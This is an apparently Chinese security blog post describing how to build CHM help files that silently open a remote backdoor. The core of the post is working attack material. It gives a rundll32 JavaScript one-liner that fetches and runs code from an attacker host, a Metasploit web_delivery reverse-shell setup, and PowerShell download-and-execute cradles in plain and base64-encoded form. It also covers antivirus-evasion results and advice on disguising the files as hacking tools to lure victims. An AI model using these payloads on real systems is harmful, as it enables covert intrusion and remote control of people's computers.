0x00 简介 之前写过一篇关于客户端钓鱼的文章: 《使用powershell client进行有效钓鱼》 中,在使用各个client进行测试的过程中,个人发现chm文件是最好用的一个,但是其缺点就是会弹黑框,这样就会让被攻击者察觉。那么怎么让他不弹黑框呢?那就是本文要介绍的内容啦~
0x01 chm 简介 在介绍怎么使用chm来作为后门之前,首先要知道cmh是什么东西。
chm(compiled help manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用html作源文,把帮助内容以类似数据库的形式编译储存。chm支持javas cript、vbs cript、activex、java applet、flash、常见图形文件(gif、jpeg、png)、音频视频文件(mid、wav、avi)等等,并可以通过url与internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。
0x02 chm 制作 chm的制作方法很多。有多款工具可以使用,这里就不在做详细的介绍了。本次测试使用了easychm来制作chm文件,使用起来非常简单。
新建如下目录,文件内容随意:
打开easychm,新建->浏览。选择该目录。默认文件类型:
点击确认,即可看到预览的chm文件:
选择编译,即可编译成chm文件。
0x03 chm execute command [email protected]
在twitter上发了一个demo,通过chm运行计算器:
利用代码如下:
#!htmlmousejack replaycommand exec
将以上代码写入html,置于工程目录进行编译,生成chm文件,运行此文件,弹出计算器:
0x04 去除弹框 有测试过nishang out-chm 的同学会发现,运行生成的chm文件的时候会看到明显的弹框。就像这样:
某个晚上突然脑洞了一下,想到了一个好的方式来让他不显示弹框,即结合使用javascript backdoor。经过测试,成功实现在不弹框的情况下获取meterpreter会话,此次测试使用一个我修改过的python版 jsrat.ps1 ,地址为:https://github.com/ridter/myjsrat。使用方式详见 readme。
以下为完整的测试过程:
1、结合chm + jsbackdoor 使用交互模式的jsrat server:
#!bashpython myjsrat.py -i 192.168.1.101 -p 8080
访问 http://192.168.1.101:8080/wtf 获取攻击代码如下:
#!bashrundll32.exe javascript:\..\mshtml,runhtmlapplication ;document.write();h=new%20activexobject(winhttp.winhttprequest.5.1);h.open(get,http://192.168.1.101:8080/connect,false);try{h.send();b=h.responsetext;eval(b);}catch(e){new%20activexobject(wscript.shell).run(cmd /c taskkill /f /im rundll32.exe,0,true);}
经过多次测试,成功将以上命令写入chm,其html代码为:
#!htmlmousejack replaythis is a demo !
编译以后运行,可以成功获取js交互shell:
直接执行 cmd /c command 是会有黑框的,可以使用run来避免显示黑框。执行run以后,输入 whoami > e:\1.txt 之后通过read 来获取回显。
2、获取meterpreter会话 此次测试获取meterpreter会话的方式是通过执行powershell命令,直接获取,当获取客户端js 交互shell之后自动执行powershell命令,获取meterpreter会话。具体操作如下:
开启msf web_delivery:
#!bash ~ msfconsole -lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 192.168.1.101lhost => 192.168.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set srvport 8081srvport => 8081msf exploit(web_delivery) > set uripath /uripath => /msf exploit(web_delivery) > exploit[*] exploit running as background job.msf exploit(web_delivery) >[*] started reverse tcp handler on 192.168.1.101:6666[*] using url: http://0.0.0.0:8081/[*] local ip: http://192.168.1.101:8081/[*] server started.[*] run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[net.webrequest]::getsystemwebproxy();$n.proxy.credentials=[net.credentialcache]::defaultcredentials;iex $n.downloadstring('http://192.168.1.101:8081/');
装有powershell的客户端执行以下命令则可获取meterpreter会话:
#!bashpowershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[net.webrequest]::getsystemwebproxy();$n.proxy.credentials=[net.credentialcache]::defaultcredentials;iex $n.downloadstring('http://192.168.1.101:8081/');
由于存在特殊字符,我们可以把以上代码编码为base64格式,将以下代码存入power.txt
#!bash$n=new-object net.webclient;$n.proxy=[net.webrequest]::getsystemwebproxy();$n.proxy.credentials=[net.credentialcache]::defaultcredentials;iex $n.downloadstring('http://192.168.1.101:8081/');
执行以下命令:
#!bashcat power.txt | iconv --to-code utf-16le |base64
最终要执行的powershell命令为:
#!bashpowershell -ep bypass -enc iaakag4apqbuaguadwatag8aygbqaguaywb0acaabgblahqalgb3aguaygbjagwaaqblag4adaa7aaoaiaakag4algbwahiabwb4ahkapqbbae4azqb0ac4avwblagiaugblaheadqblahmadabdadoaogbhaguadabtahkacwb0aguabqbxaguaygbqahiabwb4ahkakaapadsacgagacqabgauafaacgbvahgaeqauaemacgblagqazqbuahqaaqbhagwacwa9afsatgblahqalgbdahiazqbkaguabgb0agkayqbsaemayqbjaggazqbdadoaogbeaguazgbhahuabab0aemacgblagqazqbuahqaaqbhagwacwa7aaoaiabjaeuawaagacqabgauagqabwb3ag4ababvageazabzahqacgbpag4azwaoaccaaab0ahqacaa6ac8alwaxadkamgauadeanga4ac4amqauadeamaaxadoaoaawadgamqavaccakqa7aa==
使用执行命令模式直接获取meterpreter会话:
#!bashpython myjsrat.py -i 192.168.1.101 -p 8080 -c powershell -ep bypass -enc iaakag4apqbuaguadwatag8aygbqaguaywb0acaabgblahqalgb3aguaygbjagwaaqblag4adaa7aaoaiaakag4algbwahiabwb4ahkapqbbae4azqb0ac4avwblagiaugblaheadqblahmadabdadoaogbhaguadabtahkacwb0aguabqbxaguaygbqahiabwb4ahkakaapadsacgagacqabgauafaacgbvahgaeqauaemacgblagqazqbuahqaaqbhagwacwa9afsatgblahqalgbdahiazqbkaguabgb0agkayqbsaemayqbjaggazqbdadoaogbeaguazgbhahuabab0aemacgblagqazqbuahqaaqbhagwacwa7aaoaiabjaeuawaagacqabgauagqabwb3ag4ababvageazabzahqacgbpag4azwaoaccaaab0ahqacaa6ac8alwaxadkamgauadeanga4ac4amqauadeamaaxadoaoaawadgamqavaccakqa7aa==
测试过程中,从运行chm到获取meterpreter,客户端无明显异常,全程无黑框弹出,获取到meterpreter会话如下图:
3、是否被杀? 可能很多人会问,会不会被杀,下面是virscan的查杀结果:
http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba
0x05 利用场景 一张图说明(让我猜猜你会不会点):
注: 随便找了几个漏洞利用工具修改了文件名,并不代表原作者分享的工具有问题。
0x06 防御 目前我还没查到什么防御的姿势,知道的小伙伴可以分享一下。最好就是提高个人安全意识,对于这类文件,多注意一下,尽量别乱点,如果非要点,可以放到虚拟机里面。使用procexp.exe可以看到存在后门的chm文件会开启新的进程:
0x07 小结 此次测试就是对一些已知的攻击手法进行结合,结果是让此捆绑后门更加隐蔽,近乎“完美”,美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能造成大危害,小手法结合起来也能成大杀器。本着分享的精神将此姿势介绍,希望小伙伴们能免受其害。
0x08 参考 https://twitter.com/ithurricanept/status/534993743196090368 https://github.com/samratashok/nishang/blob/master/client/out-chm.ps1 http://drops.wooyun.org/tips/11764 https://github.com/samratashok/nishang 本文由evi1cg原创并首发于乌云drops,转载请注明